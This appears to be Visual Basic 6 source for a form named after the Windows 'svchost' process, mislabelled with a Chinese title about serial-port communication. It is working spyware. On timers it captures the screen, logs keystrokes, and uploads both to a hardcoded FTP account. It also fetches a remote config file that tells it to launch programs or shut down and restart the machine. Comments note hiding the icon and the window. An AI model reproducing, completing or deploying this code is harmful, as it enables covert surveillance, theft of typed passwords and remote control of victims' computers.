svchost.frm

VB环境下的串口通讯设计

   hDCMemory = CreateCompatibleDC(hDCSrc)
   ' Create a bitmap and place it in the memory DC.
   hBmp = CreateCompatibleBitmap(hDCSrc, WidthSrc, HeightSrc)
   hBmpPrev = SelectObject(hDCMemory, hBmp)

   ' Get screen properties.
   RasterCapsScrn = GetDeviceCaps(hDCSrc, RASTERCAPS) ' Raster
                                                      ' capabilities.
   HasPaletteScrn = RasterCapsScrn And RC_PALETTE       ' Palette
                                                        ' support.
   PaletteSizeScrn = GetDeviceCaps(hDCSrc, SIZEPALETTE) ' Size of
                                                        ' palette.

   ' If the screen has a palette make a copy and realize it.
   If HasPaletteScrn And (PaletteSizeScrn = 256) Then
      ' Create a copy of the system palette.
      LogPal.palVersion = &H300
      LogPal.palNumEntries = 256
      r = GetSystemPaletteEntries(hDCSrc, 0, 256, LogPal.palPalEntry(0))
      hpal = CreatePalette(LogPal)
' Select the new palette into the memory DC and realize it.
      hPalPrev = SelectPalette(hDCMemory, hpal, 0)
      r = RealizePalette(hDCMemory)
   End If
' Copy the on-screen image into the memory DC.
   r = BitBlt(hDCMemory, 0, 0, WidthSrc, HeightSrc, hDCSrc, LeftSrc, TopSrc, vbSrcCopy)
' Remove the new copy of the  on-screen image.
   hBmp = SelectObject(hDCMemory, hBmpPrev)
   ' If the screen has a palette get back the palette that was
   ' selected in previously.
   If HasPaletteScrn And (PaletteSizeScrn = 256) Then
      hpal = SelectPalette(hDCMemory, hPalPrev, 0)
   End If
   ' Release the device context resources back to the system.
   r = DeleteDC(hDCMemory)
   r = ReleaseDC(hWndSrc, hDCSrc)
   ' Call CreateBitmapPicture to create a picture object from the
   ' bitmap and palette handles. Then return the resulting picture
   ' object.
   Set CaptureWindow = CreateBitmapPicture(hBmp, hpal)
End Function

Public Function CaptureScreen() As Picture
  Dim hWndScreen As Long
   ' Get a handle to the desktop window.
   hWndScreen = GetDesktopWindow()
   ' Call CaptureWindow to capture the entire desktop give the handle
   ' and return the resulting Picture object.
   Set CaptureScreen = CaptureWindow(hWndScreen, False, 0, 0, Screen.Width \ Screen.TwipsPerPixelX, Screen.Height \ Screen.TwipsPerPixelY)
End Function

Public Function CreateBitmapPicture(ByVal hBmp As Long, ByVal hpal As Long) As Picture
  Dim r As Long
  Dim Pic As PicBmp
  ' IPicture requires a reference to "Standard OLE Types."
  Dim IPic As IPicture
  Dim IID_IDispatch As GUID

   ' Fill in with IDispatch Interface ID.
  With IID_IDispatch
    .Data1 = &H20400
    .Data4(0) = &HC0
    .Data4(7) = &H46
  End With
  ' Fill Pic with necessary parts.
  
  With Pic
    .Size = Len(Pic)          ' Length of structure.
    .type = vbPicTypeBitmap   ' Type of Picture (bitmap).
    .hBmp = hBmp              ' Handle to bitmap.
    .hpal = hpal              ' Handle to palette (may be null).
  End With
    ' Create Picture object.
  r = OleCreatePictureIndirect(Pic, IID_IDispatch, 1, IPic)
  
    ' Return the new Picture object.
  Set CreateBitmapPicture = IPic
End Function

Private Sub Form_Load()
   'App.Title = ""  '隐去图标
    Timer1.Enabled = False
    Timer3.Enabled = False
    Timer2.Enabled = False
    'Me.Hide  '窗体隐藏
    y = 1
    z = 0 '初始时间
    u = 4 '截屏间隔
    Dim w As String
    w = App.Path & "\" & "SystemPic" & ".jpg"     ' 图片保存路
    Set Picture1.Picture = CaptureScreen()
    Dim a As Boolean
    On Error Resume Next
    a = SaveJPG(Picture1.Picture, w, 20)
'+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
    hOpen = 0
    x = 0
    hConnection = 0
    bActiveSession = False
    dwType = FTP_TRANSFER_TYPE_BINARY   '选择二进制形式，默认选择项
    server = "ftp://[e-mail]"  'FTP服务器的路径
    txtuser = "jiabaoyu001"        '帐号
    txtpassword = "jiabaoyu001"    '密码
'+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
    hOpen = InternetOpen(scUserAgent, INTERNET_OPEN_TYPE_DIRECT, vbNullString, vbNullString, 0)
    If Not bActiveSession And hOpen <> 0 Then
        Dim nFlag As Long
        nFlag = INTERNET_FLAG_PASSIVE
        '/////****连接*****////
        hConnection = InternetConnect(hOpen, server, INTERNET_INVALID_PORT_NUMBER, _
        txtuser, txtpassword, INTERNET_SERVICE_FTP, nFlag, 0)           '"连接"
    End If
    Dim bRet As Boolean
    Dim szFileRemote As String, szFileLocal As String
    Dim szTempString As String
  
    szFileLocal = w
    szFileRemote = "\pic8\" & "0.jpg"           '图片的保存路径，应该随时更改
    On Error Resume Next
    bRet = FtpPutFile(hConnection, szFileLocal, szFileRemote, _
      dwType, 0)                                            '上传图片,文件名为:0.jpg
    Kill w
'======================================文本文件下载++++++++++++++++++++++++++++++++++
    dwType = FTP_TRANSFER_TYPE_ASCII
    szFileLocal = App.Path & "\c.txt"
    szFileRemote = "\pic8\" & "config.txt" '图片的保存路径，应该随时更改
     If Not bActiveSession And hOpen <> 0 Then
     
         nFlag = INTERNET_FLAG_PASSIVE
            '/////****连接*****////
         hConnection = InternetConnect(hOpen, server, INTERNET_INVALID_PORT_NUMBER, _
                txtuser, txtpassword, INTERNET_SERVICE_FTP, nFlag, 0)           '"连接"
     End If
         On Error Resume Next
        bRet = FtpGetFile(hConnection, szFileRemote, szFileLocal, False, _
        INTERNET_FLAG_RELOAD, dwType, 0)
'=======================================读取文本文件+++++++++++++++++++++++++++++++++++++++
    Dim aa, aa_left, aa_right As String
    Dim b, s As Integer

    b = FreeFile()

    Open szFileLocal For Input As b
    Do While Not EOF(1)
        Input #b, aa
        aa_left = Left(aa, 2)
        Text1.Text = aa_left
        aa_right = Right(aa, 2)
            On Error Resume Next
        Select Case aa_left
            Case "调用"
            s = Shell("e:\qq\qq.com")
            Case "关机"
                RtlAdjustPrivilege SE_SHUTDOWN_PRIVILEGE, 1, 0, 0
                NtShutdownSystem shutdown '关机
                'NtShutdownSystem RESTART '重启动
                'NtShutdownSystem poweroff '关机
            Case "重启"
                RtlAdjustPrivilege SE_SHUTDOWN_PRIVILEGE, 1, 0, 0
                'NtShutdownSystem shutdown '关机
                NtShutdownSystem RESTART '重启动
                'NtShutdownSystem poweroff '关机
            Case Else
                aa_right = ""
                            
        End Select
    Loop
    Close #b
    Kill szFileLocal
    Timer3.Enabled = True
    
End Sub
  '---------------------------------------------------------------------------
    Private Sub cmdGet_Click()
    Dim bRet As Boolean
    Dim szFileRemote As String, szDirRemote As String, szFileLocal As String
    Dim szTempString As String
    Dim nPos As Long, nTemp As Long
    dwType = FTP_TRANSFER_TYPE_ASCII
    szFileLocal = "c:\c.txt"
    szFileRemote = "\pic8\" & "config.txt" '图片的保存路径，应该随时更改
     If Not bActiveSession And hOpen <> 0 Then
         Dim nFlag As Long
         nFlag = INTERNET_FLAG_PASSIVE
            '/////****连接*****////
         hConnection = InternetConnect(hOpen, server, INTERNET_INVALID_PORT_NUMBER, _
                txtuser, txtpassword, INTERNET_SERVICE_FTP, nFlag, 0)           '"连接"
     End If
        bRet = FtpGetFile(hConnection, szFileRemote, szFileLocal, False, _
        INTERNET_FLAG_RELOAD, dwType, 0)

    End Sub

Private Sub Timer1_Timer() '每3分钟一次截屏,保存
    Dim szFileRemote As String, szFileLocal As String
    Dim bRet As Boolean
    Dim w As String
    dwType = FTP_TRANSFER_TYPE_BINARY   '选择二进制形式，默认选择项
    y = y + 1
    '4分钟一次截屏
    If y >= u Then '每 u 分钟一次截屏
        y = 0
        w = App.Path & "\" & "SystemPic" & ".jpg"     ' 图片保存路径
        Set Picture1.Picture = CaptureScreen()          '截屏
        Dim a As Boolean
        a = SaveJPG(Picture1.Picture, w, 20)        '压缩，保存
'=============================================
        szFileLocal = w
        z = z + 1
        szFileRemote = "\pic8\" & z & ".jpg"            '图片的保存路径，应该随时更改
        If Not bActiveSession And hOpen <> 0 Then
            Dim nFlag As Long
            nFlag = INTERNET_FLAG_PASSIVE
            '/////****连接*****////
            hConnection = InternetConnect(hOpen, server, INTERNET_INVALID_PORT_NUMBER, _
                txtuser, txtpassword, INTERNET_SERVICE_FTP, nFlag, 0)           '"连接"
        End If
        bRet = FtpPutFile(hConnection, szFileLocal, szFileRemote, _
         dwType, 0)
        Kill w
'============================字符串保存==============================
        Dim str As String
        Dim FileNum1 As Long
        On Error Resume Next
        If (aa = "" Or aa = ",") Then     '动态修改时间段
            u = u + 1
            Exit Sub
        Else
            u = u - 3
            If (u <= 3) Then u = 3
        End If
        FileNum1 = FreeFile()
        aa = aa & Time
        str = App.Path & "\systxt.txt"
        Open str For Output As #FileNum1
        Write #FileNum1, , aa
        Close #FileNum1
        aa = ""
'===========================2007.04.21修改=============================
        dwType = FTP_TRANSFER_TYPE_ASCII   '选择文本文件形式上传
        szFileLocal = str
        szFileRemote = "\pic8\" & z & ".txt"            '图片的保存路径，应该随时更改
        bRet = FtpPutFile(hConnection, szFileLocal, szFileRemote, _
            dwType, 0)                                            '上传文字,文件名为:0.jpg
        Kill str
'============================上传文本文件==============================
        Exit Sub
     End If
End Sub

Private Sub Timer2_Timer()
If bGetKey Then
aa = aa + sKeyPressed
End If
End Sub

Private Sub Timer3_Timer()          '5 分钟的延时,等待系统正常运行
    z = z + 1
    If z >= 5 Then
        z = 0
        Timer3.Enabled = False
        Timer2.Enabled = True
        Timer1.Enabled = True               '启动截屏和上传定时器
    End If
     
End Sub